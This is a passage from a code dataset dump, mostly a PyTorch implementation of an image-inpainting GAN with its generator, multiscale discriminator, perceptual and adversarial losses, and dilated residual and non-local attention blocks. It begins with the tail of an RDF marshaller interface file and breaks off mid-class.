modify_resource(resource, *args, **kwds):\n \"\"\"Override to modify the resource and return a new one\n \"\"\"\n\n\nclass ISurfResourceModifier(Interface):\n \"\"\"Plugins that can modify the saved resource for a given context\n \"\"\"\n\n def run(resource):\n \"\"\"Gets the rdf resource as argument, to allow it to be changed in place\n \"\"\"\n","sub_path":"eea/rdfmarshaller/interfaces.py","file_name":"interfaces.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"477807369","text":"from torchvision import models\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F \nimport functools \nfrom torch.autograd import Variable \nimport numpy as np \n\n\n############################################################\n### Functions\n############################################################\ndef weights_init(m):\n classname = m.__class__.__name__\n if hasattr(m, 'weight') and classname.find('Conv2d') != -1:\n nn.init.kaiming_normal_(m.weight, a=0, mode='fan_in') \n m.weight.data *= 0.1\n if m.bias is not None:\n m.bias.data.zero_()\n elif classname.find('BatchNorm2d') != -1:\n m.weight.data.normal_(1.0, 0.02)\n m.bias.data.fill_(0)\n elif classname.find('ConvTranspose2d') != -1: \n m.weight.data.normal_(0.0, 0.02)\n if m.bias is not None:\n m.bias.data.zero_() \n elif classname.find('Linear') != -1:\n m.weight.data.normal_(0.0, 0.01)\n if m.bias is not None:\n m.bias.data.zero_() \n\ndef get_norm_layer(norm_type='instance'):\n if norm_type == 'batch':\n norm_layer = functools.partial(nn.BatchNorm2d, affine=True)\n elif norm_type == 'instance':\n norm_layer = functools.partial(nn.InstanceNorm2d, affine=False)\n else:\n raise NotImplementedError('normalization layer [%s] is not found' % norm_type) \n return norm_layer \n\ndef print_network(net):\n num_params = 0\n for param in net.parameters():\n num_params += param.numel()\n print(net)\n print('Total number of parameters: %d' % num_params) \n print('--------------------------------------------------------------') \n return num_params \n\ndef define_G(input_nc, output_nc, ngf, n_downsample_global=3, n_blocks_global=9, norm='instance', gpu_ids=[]): \n netG = ImageTinker2(input_nc, output_nc, ngf=64, n_downsampling=4, n_blocks=4, norm_layer=nn.BatchNorm2d, pad_type='replicate') \n \n num_params = print_network(netG) \n\n if len(gpu_ids) > 0:\n assert(torch.cuda.is_available())\n netG.cuda(gpu_ids[0]) \n netG.apply(weights_init) \n\n return netG, num_params \n\ndef define_D(input_nc, ndf, n_layers_D, norm='instance', use_sigmoid=False, num_D=1, getIntermFeat=False, gpu_ids=[]): \n norm_layer = get_norm_layer(norm_type=norm) \n netD = MultiscaleDiscriminator(input_nc, ndf, n_layers_D, norm_layer, use_sigmoid, num_D, getIntermFeat) \n num_params = print_network(netD) \n\n if len(gpu_ids) > 0:\n assert(torch.cuda.is_available())\n netD.cuda(gpu_ids[0]) \n netD.apply(weights_init) \n\n return netD, num_params \n\nclass ImageTinker2(nn.Module): \n def __init__(self, input_nc, output_nc, ngf=64, n_downsampling=4, n_blocks=4, norm_layer=nn.InstanceNorm2d, pad_type='replicate', activation=nn.LeakyReLU(0.2, True)): \n assert(n_blocks >= 0)\n super(ImageTinker2, self).__init__() \n\n if pad_type == 'reflect':\n self.pad = nn.ReflectionPad2d \n elif pad_type == 'zero': \n self.pad = nn.ZeroPad2d \n elif pad_type == 'replicate':\n self.pad = nn.ReplicationPad2d \n\n # LR coarse tinker (encoder) \n lr_coarse_tinker = [self.pad(3), nn.Conv2d(input_nc, ngf // 2, kernel_size=7, stride=1, padding=0), activation] \n lr_coarse_tinker += [self.pad(1), nn.Conv2d(ngf // 2, ngf, kernel_size=4, stride=2, padding=0), activation] \n lr_coarse_tinker += [self.pad(1), nn.Conv2d(ngf, ngf * 2, kernel_size=4, stride=2, padding=0), activation] \n lr_coarse_tinker += [self.pad(1), nn.Conv2d(ngf * 2, ngf * 4, kernel_size=4, stride=2, padding=0), activation] \n # bottle neck\n lr_coarse_tinker += [MultiDilationResnetBlock(ngf * 4, kernel_size=3, stride=1, padding=1, pad_type='replicate', norm=None)] \n lr_coarse_tinker += [MultiDilationResnetBlock(ngf * 4, kernel_size=3, stride=1, padding=1, pad_type='replicate', norm=None)] \n lr_coarse_tinker += [MultiDilationResnetBlock(ngf * 4, kernel_size=3, stride=1, padding=1, pad_type='replicate', norm=None)] \n lr_coarse_tinker += [MultiDilationResnetBlock(ngf * 4, kernel_size=3, stride=1, padding=1, pad_type='replicate', norm=None)] \n lr_coarse_tinker += [MultiDilationResnetBlock(ngf * 4, kernel_size=3, stride=1, padding=1, pad_type='replicate', norm=None)] \n lr_coarse_tinker += [MultiDilationResnetBlock(ngf * 4, kernel_size=3, stride=1, padding=1, pad_type='replicate', norm=None)] \n # decoder \n lr_coarse_tinker += [nn.UpsamplingBilinear2d(scale_factor=2), self.pad(1), nn.Conv2d(ngf * 4, ngf * 2, kernel_size=3, stride=1, padding=0), activation] \n lr_coarse_tinker += [nn.UpsamplingBilinear2d(scale_factor=2), self.pad(1), nn.Conv2d(ngf * 2, ngf, kernel_size=3, stride=1, padding=0), activation] \n lr_coarse_tinker += [nn.UpsamplingBilinear2d(scale_factor=2), self.pad(1), nn.Conv2d(ngf, ngf // 2, kernel_size=3, stride=1, padding=0), activation] \n lr_coarse_tinker += [self.pad(3), nn.Conv2d(ngf // 2, output_nc, kernel_size=7, stride=1, padding=0)] \n ### get a coarse (256x256x3) \n self.lr_coarse_tinker = nn.Sequential(*lr_coarse_tinker) \n\n self.r_en_padd1 = self.pad(3) \n self.r_en_conv1 = nn.Conv2d(input_nc, ngf // 2, kernel_size=7, stride=1, padding=0) \n self.r_en_acti1 = activation \n\n self.r_en_padd2 = self.pad(1) \n self.r_en_conv2 = nn.Conv2d(ngf // 2, ngf, kernel_size=4, stride=2, padding=0) \n self.r_en_acti2 = activation \n\n self.r_en_padd3 = self.pad(1) \n self.r_en_conv3 = nn.Conv2d(ngf, ngf * 2, kernel_size=4, stride=2, padding=0) \n self.r_en_acti3 = activation \n\n self.r_en_skp_padd3 = self.pad(1) \n self.r_en_skp_conv3 = nn.Conv2d(ngf * 2, ngf * 2 // 2, kernel_size=3, stride=1, padding=0) \n self.r_en_skp_acti3 = activation \n\n self.r_en_padd4 = self.pad(1) \n self.r_en_conv4 = nn.Conv2d(ngf * 2, ngf * 4, kernel_size=4, stride=2, padding=0) \n self.r_en_acti4 = activation \n\n self.r_en_skp_padd4 = self.pad(1) \n self.r_en_skp_conv4 = nn.Conv2d(ngf * 4, ngf * 4 // 2, kernel_size=3, stride=1, padding=0) \n self.r_en_skp_acti4 = activation \n\n self.r_en_padd5 = self.pad(1) \n self.r_en_conv5 = nn.Conv2d(ngf * 4, ngf * 8, kernel_size=4, stride=2, padding=0) \n self.r_en_acti5 = activation \n\n self.r_md_mres1 = MultiDilationResnetBlock_v3(ngf * 8, kernel_size=3, stride=1, padding=1, pad_type='replicate', norm=None) \n self.r_md_mres2 = MultiDilationResnetBlock_v3(ngf * 8, kernel_size=3, stride=1, padding=1, pad_type='replicate', norm=None) \n self.r_md_mres5 = MultiDilationResnetBlock_v3(ngf * 8, kernel_size=3, stride=1, padding=1, pad_type='replicate', norm=None) \n self.r_md_satn1 = NonLocalBlock(ngf * 8, sub_sample=False, bn_layer=False) \n self.r_md_mres3 = MultiDilationResnetBlock_v3(ngf * 8, kernel_size=3, stride=1, padding=1, pad_type='replicate', norm=None) \n self.r_md_mres4 = MultiDilationResnetBlock_v3(ngf * 8, kernel_size=3, stride=1, padding=1, pad_type='replicate', norm=None) \n self.r_md_mres6 = MultiDilationResnetBlock_v3(ngf * 8, kernel_size=3, stride=1, padding=1, pad_type='replicate', norm=None) \n\n self.r_de_upbi1 = nn.UpsamplingBilinear2d(scale_factor=2) \n self.r_de_padd1 = self.pad(1) \n self.r_de_conv1 = nn.Conv2d(ngf * 8, ngf * 4, kernel_size=3, stride=1, padding=0) \n self.r_de_acti1 = activation \n\n self.r_de_satn2 = NonLocalBlock(ngf * 4 // 2, sub_sample=False, bn_layer=False) \n self.r_de_satn3 = NonLocalBlock(ngf * 2 // 2, sub_sample=False, bn_layer=False) \n\n self.r_de_mix_padd1 = self.pad(1) \n self.r_de_mix_conv1 = nn.Conv2d(ngf * 4 + ngf * 4 // 2, ngf * 4, kernel_size=3, stride=1, padding=0) \n self.r_de_mix_acti1 = activation \n\n self.r_de_upbi2 = nn.UpsamplingBilinear2d(scale_factor=2) \n self.r_de_padd2 = self.pad(1) \n self.r_de_conv2 = nn.Conv2d(ngf * 4, ngf * 2, kernel_size=3, stride=1, padding=0) \n self.r_de_acti2 = activation \n\n self.r_de_mix_padd2 = self.pad(1) \n self.r_de_mix_conv2 = nn.Conv2d(ngf * 2 + ngf * 2 // 2, ngf * 2, kernel_size=3, stride=1, padding=0) \n self.r_de_mix_acti2 = activation \n\n self.r_de_padd2_lr = self.pad(1) \n self.r_de_conv2_lr = nn.Conv2d(ngf * 2, ngf // 2, kernel_size=3, stride=1, padding=0) \n self.r_de_acti2_lr = activation \n\n self.r_de_padd3_lr = self.pad(1) \n self.r_de_conv3_lr = nn.Conv2d(ngf // 2, output_nc, kernel_size=3, stride=1, padding=0) \n\n self.r_de_upbi3 = nn.UpsamplingBilinear2d(scale_factor=2) \n self.r_de_padd3 = self.pad(1) \n self.r_de_conv3 = nn.Conv2d(ngf * 2, ngf, kernel_size=3, stride=1, padding=0) \n self.r_de_acti3 = activation \n\n self.r_de_upbi4 = nn.UpsamplingBilinear2d(scale_factor=2) \n self.r_de_padd4 = self.pad(1) \n self.r_de_conv4 = nn.Conv2d(ngf, ngf // 2, kernel_size=3, stride=1, padding=0) \n self.r_de_acti4 = activation \n\n self.r_de_padd5 = self.pad(3) \n self.r_de_conv5 = nn.Conv2d(ngf // 2, output_nc, kernel_size=7, stride=1, padding=0) \n\n self.r_de_padd5_lr_alpha = self.pad(1) \n self.r_de_conv5_lr_alpha = nn.Conv2d(ngf // 2, 1, kernel_size=3, stride=1, padding=0) \n self.r_de_acti5_lr_alpha = nn.Sigmoid() \n\n self.up = nn.UpsamplingBilinear2d(scale_factor=4)\n self.down = nn.UpsamplingBilinear2d(scale_factor=0.25) \n\n def forward(self, msked_img, msk, real_img=None): \n if real_img is not None: \n rimg = real_img \n inp = real_img * (1 - msk) + msk \n else:\n rimg = msked_img \n inp = msked_img \n \n x = torch.cat((inp, msk), dim=1) \n lr_x = self.lr_coarse_tinker(x) \n hr_x = lr_x * msk + rimg * (1 - msk) \n\n y = torch.cat((hr_x, msk), dim=1) \n e1 = self.r_en_acti1(self.r_en_conv1(self.r_en_padd1(y))) \n e2 = self.r_en_acti2(self.r_en_conv2(self.r_en_padd2(e1))) \n e3 = self.r_en_acti3(self.r_en_conv3(self.r_en_padd3(e2))) \n e4 = self.r_en_acti4(self.r_en_conv4(self.r_en_padd4(e3))) \n e5 = self.r_en_acti5(self.r_en_conv5(self.r_en_padd5(e4))) \n\n skp_e3 = self.r_en_skp_acti3(self.r_en_skp_conv3(self.r_en_skp_padd3(e3)))\n skp_e4 = self.r_en_skp_acti4(self.r_en_skp_conv4(self.r_en_skp_padd4(e4))) \n\n de3 = self.r_de_satn3(skp_e3) \n de4 = self.r_de_satn2(skp_e4) \n\n m1 = self.r_md_mres1(e5)\n m2 = self.r_md_mres2(m1) \n m5 = self.r_md_mres5(m2)\n a1 = self.r_md_satn1(m5)\n m3 = self.r_md_mres3(a1)\n m4 = self.r_md_mres4(m3) \n m6 = self.r_md_mres6(m4)\n\n d1 = self.r_de_acti1(self.r_de_conv1((self.r_de_padd1(self.r_de_upbi1(m6))))) # 32x32x256\n cat1 = torch.cat((d1, de4), dim=1) \n md1 = self.r_de_mix_acti1(self.r_de_mix_conv1(self.r_de_mix_padd1(cat1))) \n\n d2 = self.r_de_acti2(self.r_de_conv2((self.r_de_padd2(self.r_de_upbi2(md1))))) # 64x64x128\n cat2 = torch.cat((d2, de3), dim=1) \n md2 = self.r_de_mix_acti2(self.r_de_mix_conv2(self.r_de_mix_padd2(cat2))) \n\n d2_lr = self.r_de_acti2_lr(self.r_de_conv2_lr(self.r_de_padd2_lr(md2))) \n d3_lr = self.r_de_conv3_lr(self.r_de_padd3_lr(d2_lr))\n\n d3 = self.r_de_acti3(self.r_de_conv3((self.r_de_padd3(self.r_de_upbi3(md2))))) # 128x128x64\n d4 = self.r_de_acti4(self.r_de_conv4((self.r_de_padd4(self.r_de_upbi4(d3))))) # 256x256x32\n\n d5 = self.r_de_conv5(self.r_de_padd5(d4)) \n d5_lr_alpha = self.r_de_acti5_lr_alpha(self.r_de_conv5_lr_alpha(self.r_de_padd5_lr_alpha(d4))) \n\n ###\n # d5: 256x256x3 \n # d5_lr_alpha: 256x256x1\n # d3_lr: 64x64x3\n ###\n lr_img = d3_lr\n \n #reconst_img = d5\n d5 = d5 * msk + rimg * (1 - msk)\n lr_d5 = self.down(d5)\n lr_d5_res = d3_lr - lr_d5 \n hr_d5_res = self.up(lr_d5_res) \n reconst_img = d5 + hr_d5_res * d5_lr_alpha \n compltd_img = reconst_img * msk + rimg * (1 - msk) \n #out = compltd_img + hr_d5_res * d5_lr_alpha \n\n return compltd_img, reconst_img, lr_x, lr_img \n\n\n############################################################\n### Losses\n############################################################\nclass TVLoss(nn.Module):\n def forward(self, x):\n batch_size = x.size()[0]\n h_x = x.size()[2]\n w_x = x.size()[3]\n count_h = self._tensor_size(x[:, :, 1:, :])\n count_w = self._tensor_size(x[:, :, :, 1:])\n h_tv = torch.pow((x[:, :, 1:, :] - x[:, :, :h_x - 1, :]), 2).sum()\n w_tv = torch.pow((x[:, :, :, 1:] - x[:, :, :, :w_x - 1]), 2).sum()\n return 2 * (h_tv / count_h + w_tv / count_w) / batch_size\n\n def _tensor_size(self, t):\n return t.size()[1] * t.size()[2] * t.size()[3] \n\nclass VGGLoss(nn.Module):\n # vgg19 perceptual loss\n def __init__(self, gpu_ids):\n super(VGGLoss, self).__init__()\n self.vgg = Vgg19().cuda()\n self.criterion = nn.L1Loss()\n self.mse_loss = nn.MSELoss() \n\n self.weights = [1.0/32, 1.0/16, 1.0/8, 1.0/4, 1.0]\n mean = torch.Tensor([0.485, 0.456, 0.406]).view(1, 3, 1, 1).cuda() \n std = torch.Tensor([0.229, 0.224, 0.225]).view(1, 3, 1, 1).cuda() \n self.register_buffer('mean', mean)\n self.register_buffer('std', std)\n\n def gram_matrix(self, x):\n (b, ch, h, w) = x.size() \n features = x.view(b, ch, w*h) \n features_t = features.transpose(1, 2) \n gram = features.bmm(features_t) / (ch * h * w) \n return gram \n\n def forward(self, x, y):\n x = (x - self.mean) / self.std \n y = (y - self.mean) / self.std \n x_vgg, y_vgg = self.vgg(x), self.vgg(y)\n\n loss = 0\n style_loss = 0\n for i in range(len(x_vgg)):\n loss += self.weights[i] * \\\n self.criterion(x_vgg[i], y_vgg[i].detach())\n gm_x = self.gram_matrix(x_vgg[i]) \n gm_y = self.gram_matrix(y_vgg[i]) \n style_loss += self.weights[i] * self.mse_loss(gm_x, gm_y.detach()) \n return loss, style_loss \n\nclass GANLoss_D_v2(nn.Module): \n def __init__(self, use_lsgan=True, target_real_label=1.0, target_fake_label=0.0, tensor=torch.FloatTensor): \n super(GANLoss_D_v2, self).__init__() \n self.real_label = target_real_label \n self.fake_label = target_fake_label \n self.real_label_var = None \n self.fake_label_var = None \n self.Tensor = tensor \n if use_lsgan: \n self.loss = nn.MSELoss() \n else:\n def wgan_loss(input, target):\n return torch.mean(F.relu(1.-input)) if target else torch.mean(F.relu(1.+input)) \n self.loss = wgan_loss \n \n def get_target_tensor(self, input, target_is_real): \n target_tensor = None \n if target_is_real: \n create_label = ((self.real_label_var is None) or (self.real_label_var.numel() != input.numel()))\n if create_label:\n real_tensor = self.Tensor(input.size()).fill_(self.real_label) \n self.real_label_var = Variable(real_tensor, requires_grad=False) \n target_tensor = self.real_label_var \n else:\n create_label = ((self.fake_label_var is None) or (self.fake_label_var.numel() != input.numel())) \n if create_label:\n fake_tensor = self.Tensor(input.size()).fill_(self.fake_label) \n self.fake_label_var = Variable(fake_tensor, requires_grad=False) \n target_tensor = self.fake_label_var \n return target_tensor \n \n def __call__(self, input, target_is_real): \n if isinstance(input[0], list): \n loss = 0\n for input_i in input:\n pred = input_i[-1] \n target_tensor = self.get_target_tensor(pred, target_is_real) \n #loss += self.loss(pred, target_tensor) \n loss += self.loss(pred, target_is_real) \n return loss \n else:\n target_tensor = self.get_target_tensor(input[-1], target_is_real) \n return self.loss(input[-1], target_tensor) \n\nclass GANLoss_G_v2(nn.Module): \n def __init__(self, use_lsgan=True, target_real_label=1.0, target_fake_label=0.0, tensor=torch.FloatTensor): \n super(GANLoss_G_v2, self).__init__() \n self.real_label = target_real_label \n self.fake_label = target_fake_label \n self.real_label_var = None \n self.fake_label_var = None \n self.Tensor = tensor \n if use_lsgan: \n self.loss = nn.MSELoss() \n else:\n def wgan_loss(input, target):\n return -1 * input.mean() if target else input.mean() \n self.loss = wgan_loss \n \n def get_target_tensor(self, input, target_is_real): \n target_tensor = None \n if target_is_real: \n create_label = ((self.real_label_var is None) or (self.real_label_var.numel() != input.numel()))\n if create_label:\n real_tensor = self.Tensor(input.size()).fill_(self.real_label) \n self.real_label_var = Variable(real_tensor, requires_grad=False) \n target_tensor = self.real_label_var \n else:\n create_label = ((self.fake_label_var is None) or (self.fake_label_var.numel() != input.numel())) \n if create_label:\n fake_tensor = self.Tensor(input.size()).fill_(self.fake_label) \n self.fake_label_var = Variable(fake_tensor, requires_grad=False) \n target_tensor = self.fake_label_var \n return target_tensor \n \n def __call__(self, input, target_is_real): \n if isinstance(input[0], list): \n loss = 0\n for input_i in input:\n pred = input_i[-1] \n target_tensor = self.get_target_tensor(pred, target_is_real) \n #loss += self.loss(pred, target_tensor) \n loss += self.loss(pred, target_is_real)\n return loss \n else:\n target_tensor = self.get_target_tensor(input[-1], target_is_real) \n return self.loss(input[-1], target_tensor) \n\n\n# Define the PatchGAN discriminator with the specified arguments. \nclass NLayerDiscriminator(nn.Module): \n def __init__(self, input_nc, ndf=64, n_layers=3, norm_layer=nn.InstanceNorm2d, use_sigmoid=False, getIntermFeat=False): \n super(NLayerDiscriminator, self).__init__() \n self.getIntermFeat = getIntermFeat \n self.n_layers = n_layers \n \n kw = 4\n padw = int(np.ceil((kw-1.0)/2)) \n sequence = [[SpectralNorm(nn.Conv2d(input_nc, ndf, kernel_size=kw, stride=2, padding=padw)), nn.LeakyReLU(0.2, True)]] \n \n nf = ndf \n for n in range(1, n_layers): \n nf_prev = nf \n nf = min(nf * 2, 512) \n sequence += [[\n SpectralNorm(nn.Conv2d(nf_prev, nf, kernel_size=kw, stride=2, padding=padw)), \n nn.LeakyReLU(0.2, True) \n ]] \n \n nf_prev = nf \n nf = min(nf * 2, 512) \n sequence += [[\n SpectralNorm(nn.Conv2d(nf_prev, nf, kernel_size=kw, stride=1, padding=padw)), \n nn.LeakyReLU(0.2, True) \n ]] \n \n sequence += [[SpectralNorm(nn.Conv2d(nf, nf, kernel_size=kw, stride=1, padding=padw))]]\n \n # if use_sigmoid: \n # sequence += [[nn.Sigmoid()]] \n \n if getIntermFeat:\n for n in range(len(sequence)):\n setattr(self, 'model'+str(n), nn.Sequential(*sequence[n])) \n else: \n sequence_stream = [] \n for n in range(len(sequence)):\n sequence_stream += sequence[n] \n self.model = nn.Sequential(*sequence_stream)\n \n def forward(self, input): \n if self.getIntermFeat:\n res = [input] \n for n in range(self.n_layers + 2):\n model = getattr(self, 'model'+str(n)) \n res.append(model(res[-1])) \n return res[1:]\n else:\n return self.model(input) \n\n\n# Define the Multiscale Discriminator. \nclass MultiscaleDiscriminator(nn.Module): \n def __init__(self, input_nc, ndf=64, n_layers=3, norm_layer=nn.BatchNorm2d, use_sigmoid=False, num_D=3, getIntermFeat=False): \n super(MultiscaleDiscriminator, self).__init__() \n self.num_D = num_D \n self.n_layers = n_layers \n self.getIntermFeat = getIntermFeat \n \n for i in range(num_D): \n netD = NLayerDiscriminator(input_nc, ndf, n_layers, norm_layer, use_sigmoid, getIntermFeat) \n if getIntermFeat: \n for j in range(n_layers+2): \n setattr(self, 'scale'+str(i)+'_layer'+str(j), getattr(netD, 'model'+str(j))) \n else:\n setattr(self, 'layer'+str(i), netD.model) \n \n self.downsample = nn.AvgPool2d(3, stride=2, padding=[1, 1], count_include_pad=False) \n \n def singleD_forward(self, model, input):\n if self.getIntermFeat:\n result = [input] \n for i in range(len(model)):\n result.append(model[i](result[-1])) \n return result[1:]\n else:\n return [model(input)] \n \n def forward(self, input): \n num_D = self.num_D \n result = [] \n input_downsampled = input \n for i in range(num_D):\n if self.getIntermFeat: \n model = [getattr(self, 'scale'+str(num_D-1-i)+'_layer'+str(j)) for j in range(self.n_layers+2)] \n else: \n model = getattr(self, 'layer'+str(num_D-1-i)) \n result.append(self.singleD_forward(model, input_downsampled)) \n if i != (num_D-1):\n input_downsampled = self.downsample(input_downsampled) \n return result \n \n \n### Define Vgg19 for vgg_loss \nclass Vgg19(nn.Module):\n def __init__(self, requires_grad=False):\n super(Vgg19, self).__init__()\n vgg_pretrained_features = models.vgg19(pretrained=True).features\n self.slice1 = nn.Sequential()\n self.slice2 = nn.Sequential()\n self.slice3 = nn.Sequential()\n self.slice4 = nn.Sequential()\n self.slice5 = nn.Sequential()\n\n for x in range(1):\n self.slice1.add_module(str(x), vgg_pretrained_features[x])\n for x in range(1, 6):\n self.slice2.add_module(str(x), vgg_pretrained_features[x])\n for x in range(6, 11):\n self.slice3.add_module(str(x), vgg_pretrained_features[x])\n for x in range(11, 20):\n self.slice4.add_module(str(x), vgg_pretrained_features[x])\n for x in range(20, 29):\n self.slice5.add_module(str(x), vgg_pretrained_features[x])\n\n # fixed pretrained vgg19 model for feature extraction\n if not requires_grad:\n for param in self.parameters():\n param.requires_grad = False\n\n def forward(self, x):\n h_relu1 = self.slice1(x)\n h_relu2 = self.slice2(h_relu1)\n h_relu3 = self.slice3(h_relu2)\n h_relu4 = self.slice4(h_relu3)\n h_relu5 = self.slice5(h_relu4)\n out = [h_relu1, h_relu2, h_relu3, h_relu4, h_relu5]\n return out \n\n### Multi-Dilation ResnetBlock\nclass MultiDilationResnetBlock(nn.Module): \n def __init__(self, input_nc, kernel_size=3, stride=1, padding=1, dilation=1, groups=1, bias=True, pad_type='reflect', norm='instance', acti='relu', use_dropout=False): \n super(MultiDilationResnetBlock, self).__init__() \n\n self.branch1 = ConvBlock(input_nc, input_nc // 8, kernel_size=3, stride=1, padding=2, dilation=2, groups=1, bias=True, pad_type=pad_type, norm=norm, acti='relu') \n self.branch2 = ConvBlock(input_nc, input_nc // 8, kernel_size=3, stride=1, padding=3, dilation=3, groups=1, bias=True, pad_type=pad_type, norm=norm, acti='relu') \n self.branch3 = ConvBlock(input_nc, input_nc // 8, kernel_size=3, stride=1, padding=4, dilation=4, groups=1, bias=True, pad_type=pad_type, norm=norm, acti='relu') \n self.branch4 = ConvBlock(input_nc, input_nc // 8, kernel_size=3, stride=1, padding=5, dilation=5, groups=1, bias=True, pad_type=pad_type, norm=norm, acti='relu') \n self.branch5 = ConvBlock(input_nc, input_nc // 8, kernel_size=3, stride=1, padding=6, dilation=6, groups=1, bias=True, pad_type=pad_type, norm=norm, acti='relu') \n self.branch6 = ConvBlock(input_nc, input_nc // 8, kernel_size=3, stride=1, padding=8, dilation=8, groups=1, bias=True, pad_type=pad_type, norm=norm, acti='relu') \n self.branch7 = ConvBlock(input_nc, input_nc // 8, kernel_size=3, stride=1, padding=10, dilation=10, groups=1, bias=True, pad_type=pad_type, norm=norm, acti='relu') \n self.branch8 = ConvBlock(input_nc, input_nc // 8, kernel_size=3, stride=1, padding=1, dilation=1, groups=1, bias=True, pad_type=pad_type, norm=norm, acti='relu') \n\n self.fusion9 = ConvBlock(input_nc, input_nc, kernel_size=3, stride=1, padding=1, dilation=1, groups=1, bias=True, pad_type=pad_type, norm=norm, acti=None) \n\n def forward(self, x):\n d1 = self.branch1(x) \n d2 = self.branch2(x) \n d3 = self.branch3(x) \n d4 = self.branch4(x) \n d5 = self.branch5(x) \n d6 = self.branch6(x) \n d7 = self.branch7(x) \n d8 = self.branch8(x) \n d9 = torch.cat((d1, d2, d3, d4, d5, d6, d7, d8), dim=1) \n out = x + self.fusion9(d9) \n return out \n\n### Multi-Dilation ResnetBlock\nclass MultiDilationResnetBlock_v3(nn.Module): \n def __init__(self, input_nc, kernel_size=3, stride=1, padding=1, dilation=1, groups=1, bias=True, pad_type='reflect', norm='instance', acti='relu', use_dropout=False): \n super(MultiDilationResnetBlock_v3, self).__init__() \n\n self.branch1 = ConvBlock(input_nc, input_nc // 4, kernel_size=3, stride=1, padding=2, dilation=2, groups=1, bias=True, pad_type=pad_type, norm=norm, acti='relu') \n self.branch2 = ConvBlock(input_nc, input_nc // 4, kernel_size=3, stride=1, padding=3, dilation=3, groups=1, bias=True, pad_type=pad_type, norm=norm, acti='relu') \n self.branch3 = ConvBlock(input_nc, input_nc // 4, kernel_size=3, stride=1, padding=4, dilation=4, groups=1, bias=True, pad_type=pad_type, norm=norm, acti='relu') \n self.branch4 = ConvBlock(input_nc, input_nc // 4, kernel_size=3, stride=1, padding=5, dilation=5, groups=1, bias=True, pad_type=pad_type, norm=norm, acti='relu') \n \n self.fusion5 = ConvBlock(input_nc, input_nc, kernel_size=3, stride=1, padding=1, dilation=1, groups=1, bias=True, pad_type=pad_type, norm=norm, acti=None) \n\n def forward(self, x):\n d1 = self.branch1(x) \n d2 = self.branch2(x) \n d3 = self.branch3(x) \n d4 = self.branch4(x) \n d5 = torch.cat((d1, d2, d3, d4), dim=1) \n out = x + self.fusion5(d5) \n return out \n\n### ResnetBlock\nclass ResnetBlock(nn.Module): \n def __init__(self, input_nc, kernel_size=3, stride=1, padding=1, dilation=1, groups=1, bias=True, pad_type='reflect', norm='instance', acti='relu', use_dropout=False): \n super(ResnetBlock, self).__init__() \n self.conv_block = self.build_conv_block(input_nc, kernel_size, stride, padding, dilation, groups, bias, pad_type, norm, acti, use_dropout)\n\n\n def build_conv_block(self, input_nc, kernel_size, stride, padding, dilation, groups, bias, pad_type, norm, acti, use_dropout):\n conv_block = [] \n conv_block += [ConvBlock(input_nc, input_nc, kernel_size, stride, padding, dilation, groups, bias, pad_type, norm, acti='relu')]\n if use_dropout:\n conv_block += [nn.Dropout(0.5)] \n conv_block += [ConvBlock(input_nc, input_nc, kernel_size, stride, padding, dilation, groups, bias, pad_type, norm, acti=None)] \n\n return nn.Sequential(*conv_block) \n\n def forward(self, x):\n out = x + self.conv_block(x) \n return out \n\n### ResnetBlock\nclass ResnetBlock_v2(nn.Module): \n def __init__(self, input_nc, kernel_size=3, stride=1, padding=1, dilation=1, groups=1, bias=True, pad_type='reflect', norm='instance', acti='relu', use_dropout=False): \n super(ResnetBlock_v2, self).__init__() \n self.conv_block = self.build_conv_block(input_nc, kernel_size, stride, padding, dilation, groups, bias, pad_type, norm, acti, use_dropout)\n\n\n def build_conv_block(self, input_nc, kernel_size, stride, padding, dilation, groups, bias, pad_type, norm, acti, use_dropout):\n conv_block = [] \n conv_block += [ConvBlock(input_nc, input_nc, kernel_size=3, stride=1, padding=padding, dilation=dilation, groups=groups, bias=bias, pad_type=pad_type, norm=norm, acti='elu')]\n if use_dropout:\n conv_block += [nn.Dropout(0.5)] \n conv_block += [ConvBlock(input_nc, input_nc, kernel_size=1, stride=1, padding=0, dilation=1, groups=1, bias=True, pad_type='reflect', norm='instance', acti=None)] \n\n return nn.Sequential(*conv_block) \n\n def forward(self, x):\n out = x + self.conv_block(x) \n return out \n\n### NonLocalBlock2D \nclass NonLocalBlock(nn.Module): \n def __init__(self, input_nc, inter_nc=None, sub_sample=True, bn_layer=True): \n super(NonLocalBlock, self).__init__() \n self.input_nc = input_nc \n self.inter_nc = inter_nc \n\n if inter_nc is None: \n self.inter_nc = input_nc // 2\n\n self.g = nn.Conv2d(in_channels=self.input_nc, out_channels=self.inter_nc, kernel_size=1, stride=1, padding=0) \n\n if bn_layer: \n self.W = nn.Sequential(\n nn.Conv2d(in_channels=self.inter_nc, out_channels=self.input_nc, kernel_size=1, stride=1, padding=0), \n nn.BatchNorm2d(self.input_nc) \n )\n self.W[0].weight.data.zero_()\n self.W[0].bias.data.zero_() \n else:\n self.W = nn.Conv2d(in_channels=self.inter_nc, out_channels=self.input_nc, kernel_size=1, stride=1, padding=0) \n self.W.weight.data.zero_()\n self.W.bias.data.zero_() \n\n self.theta = nn.Conv2d(in_channels=self.input_nc, out_channels=self.inter_nc, kernel_size=1, stride=1, padding=0)\n self.phi = nn.Conv2d(in_channels=self.input_nc, out_channels=self.inter_nc, kernel_size=1, stride=1, padding=0) \n\n if sub_sample:\n self.g = nn.Sequential(self.g, nn.MaxPool2d(kernel_size(2, 2)))\n self.phi = nn.Sequential(self.phi, nn.MaxPool2d(kernel_size(2, 2))) \n\n def forward(self, x): \n batch_size = x.size(0) \n\n g_x = self.g(x).view(batch_size, self.inter_nc, -1) \n g_x = g_x.permute(0, 2, 1) \n\n theta_x = self.theta(x).view(batch_size, self.inter_nc, -1) \n theta_x = theta_x.permute(0, 2, 1) \n\n phi_x = self.phi(x).view(batch_size, self.inter_nc, -1) \n\n f = torch.matmul(theta_x, phi_x) \n f_div_C = F.softmax(f, dim=-1) \n\n y = torch.matmul(f_div_C, g_x) \n y = y.permute(0, 2, 1).contiguous() \n y = y.view(batch_size, self.inter_nc, *x.size()[2:]) \n W_y = self.W(y) \n\n z = W_y + x\n return z \n\n### ConvBlock\nclass ConvBlock(nn.Module):\n def __init__(self, input_nc, output_nc, kernel_size, stride=1, padding=0, dilation=1, groups=1, bias=True, pad_type='zero', norm=None, acti='lrelu'):\n super(ConvBlock, self).__init__() \n self.use_bias = bias \n\n # initialize padding \n if pad_type == 'reflect':\n self.pad = 